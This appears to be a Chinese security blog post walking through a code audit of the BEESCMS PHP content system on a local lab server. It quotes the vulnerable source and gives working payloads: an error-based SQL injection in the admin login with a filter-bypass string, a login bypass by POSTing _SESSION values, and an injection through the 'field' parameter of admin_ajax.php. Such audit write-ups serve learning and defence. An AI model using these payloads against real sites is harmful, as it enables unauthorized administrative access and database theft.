免责声明
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
代码审计
01
NightCrawler安全团队
本文首发于先知社区:https://xz.aliyun.com/t/11955
以下文章来自夜组安全的我是小夜羽师傅,主要内容为代码审计,希望大家能够从中有所收获。
NightCrawler安全团队诚邀各位共同学习,共同进步。
02
beescms搭建
作者准备学习php代码审计和java代码审计,所以审计一些经典易上手的cms,并将过程记录下来。
官网下载源码并使用phpstudy安装搭建
03
代码审计
先看一下cnvd有哪些已经交的漏洞
文件上传,注入,包含,越权,文件读取,代码执行,csrf,文件删除,还是挺多漏洞的。
配置文件在/data/confing.php
访问http://192.168.43.199/admin/login.php
用户名这里输入admin'会报错,如果挂xray被动扫描的话能扫出注入,手动测试也可以看出。
白盒审计一下
找到登录处的代码 /admin/login.php
if($action=='login'){
global $_sys;
include('template/admin_login.php');
}
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);}
user处使用fl_value和fl_html方法,跟进看一下有什么作用
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
fl_value是将我们传入的user值进行一个匹配,匹配到的话替换为空,这里只是匹配的话,我们可以使用双写绕过 seselectlect a and nd 这样的方式,或者大小写绕过
再看fl_html方法,是将我们输入的值进行html实体化编码,htmlspecialchars默认编码双引号,那我们使用单引号或者hex编码就好
来跟进check_login($user,$password) 这个方法
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
} $_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}
直接将获取来的user值拼接到sql语句中查询,跟进一下fetch_asc
function fetch_asc($sql){
$result=$this->query($sql);
$arr=array();
while($rows=mysql_fetch_assoc($result)){
$arr[]=$rows;
}
mysql_free_result($result);
return $arr;
}
进行sql查询操作,跟进query函数
function query($sql){
if([email protected]_query($sql,$this->link)){
err('操作数据库失败'.mysql_error()."<br>sql:{$sql}","javascript:history.go(-1);");
}
return $res;
}
mysql进行查询,如果报错的话贴心的输出错误内容,这样就导致报错注入的产生,构造payload admin'a and nd updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1)#
当然也能写入文件getshell,网上有分析
首先看beescms后台登录的验证代码admin/login
跟进is_login()
function is_login(){
if($_SESSION['login_in']==1&&$_SESSION['admin']){
if(time()-$_SESSION['login_time']>3600){
login_out();
}else{
$_SESSION['login_time']=time();
@session_regenerate_id();
}
return 1;
}else{
$_SESSION['admin']='';
$_SESSION['admin_purview']='';
$_SESSION['admin_id']='';
$_SESSION['admin_time']='';
$_SESSION['login_in']='';
$_SESSION['login_time']='';
$_SESSION['admin_ip']='';
return 0;
}}
判断session中login_in是否为1并且有admin参数的传入,然后login_time>3600 的话,就算是登录了
正常情况是无法控制session的,但是分析发现很多文件都引入了includes/init.php
includes/init.php
session_start();
if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
这里先来补充extract()的知识
PHP extract() 函数是从数组中把变量导入到当前的符号表中。 定义和用法 对于数组中的每个元素,键名用于变量名,键值用于变量值。
先设置了session_start(),创建会话。判断是否有输入来设置了cookie,fl_value进行一些简单的过滤,使用request设置cookie,$_GET = fl_value($_GET);来过滤get请求的内容,但是没有过滤post请求,后面还都通过@extract()来引入变量,进行变量的覆盖操作,那么这样就可以post方法传递session。二者配合构造session来绕过登录限制
访问http://192.168.43.199/index.php post传递值
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=8888888888888
之后访问admin/admin.php
这里发现login_time需要设置超级大的时间,要不然会显示成功退出,而且session这样的键值对需要写成_SESSION[login_in]=1 如果SESSION['login_in']=1是不行的,单引号不能加
审计sql注入之前我们先看一下这句话
addslashes 在单引号(')、双引号(")、反斜线(\)与 NUL前加上反斜线 可用于防止SQL注入
mysqli::real_escape_string mysqli::escape_string mysqli_real_escape_string mysql_real_escape_string SQLite3::escapeString
以上函数会在\x00(NULL), \n, \r, , ', " 和 \x1a (CTRL-Z)前加上反斜线\ 并考虑了当前数据库连接字符集进行处理
注意: 经过以上函数处理后的字符串不可直接用于sql查询拼接 需要使用引号包裹后拼接到sql语句中 否则仍可导致sql注入
例如 上文中的例子 攻击者输入并没有使用到引号反斜线 逗号可使用其他方法绕过 仍可构成SQL注入
就是说过滤时候要使用引号包裹,要不然比如直接报错语句,也不需要用到引号
我们来看一下全局的过滤
if (!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$_REQUEST = addsl($_REQUEST);
}
$_COOKIE = addsl($_COOKIE);
$_POST = addsl($_POST);
$_GET = addsl($_GET);
}
接收参数,我们跟进addsl()
function addsl($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addsl', $value) : addslashes($value);
}
}
对于接收的参数使用addslashes()来给特殊符号加'\',但是没有使用引号包裹,这很有问题。来看admin_ajax.php
elseif($action=='order'){
$table=$_REQUEST['table'];
$field = $_REQUEST['field'];
$id = intval($_REQUEST['id']);
$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
$GLOBALS['mysql']->query($sql);
//更新缓存
if($table=="lang"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache/lang_cache.php';
$str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>";
}elseif($table=="channel"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
$str="<?php\n\$channel=".var_export($rel,true).";\n?>";
}
creat_inc($cache_file,$str);}
这里sql语句执行update操作,但是未对field这个传入的变量进行校验,除了addsl()在特殊符号前加'\'
那么我们可以构造
/admin/admin_ajax.php?action=order&table=1&field=aaa=111 or updatexml(1,concat(0x23,database()),1)--+
可以看到报错语句,那继续修改一下table,既然table选admin表,在admin表找一个不重要的字段
/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+
好了输入
http://192.168.43.199/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+
beescms代码审计学习(一)已结束
04
往期回顾
2022年Top 10漏洞盘点
Thinkphp 多语言模块命令执行漏洞
pgadmin validate_binary_path 远程命令执行漏洞(CVE-2022-4223)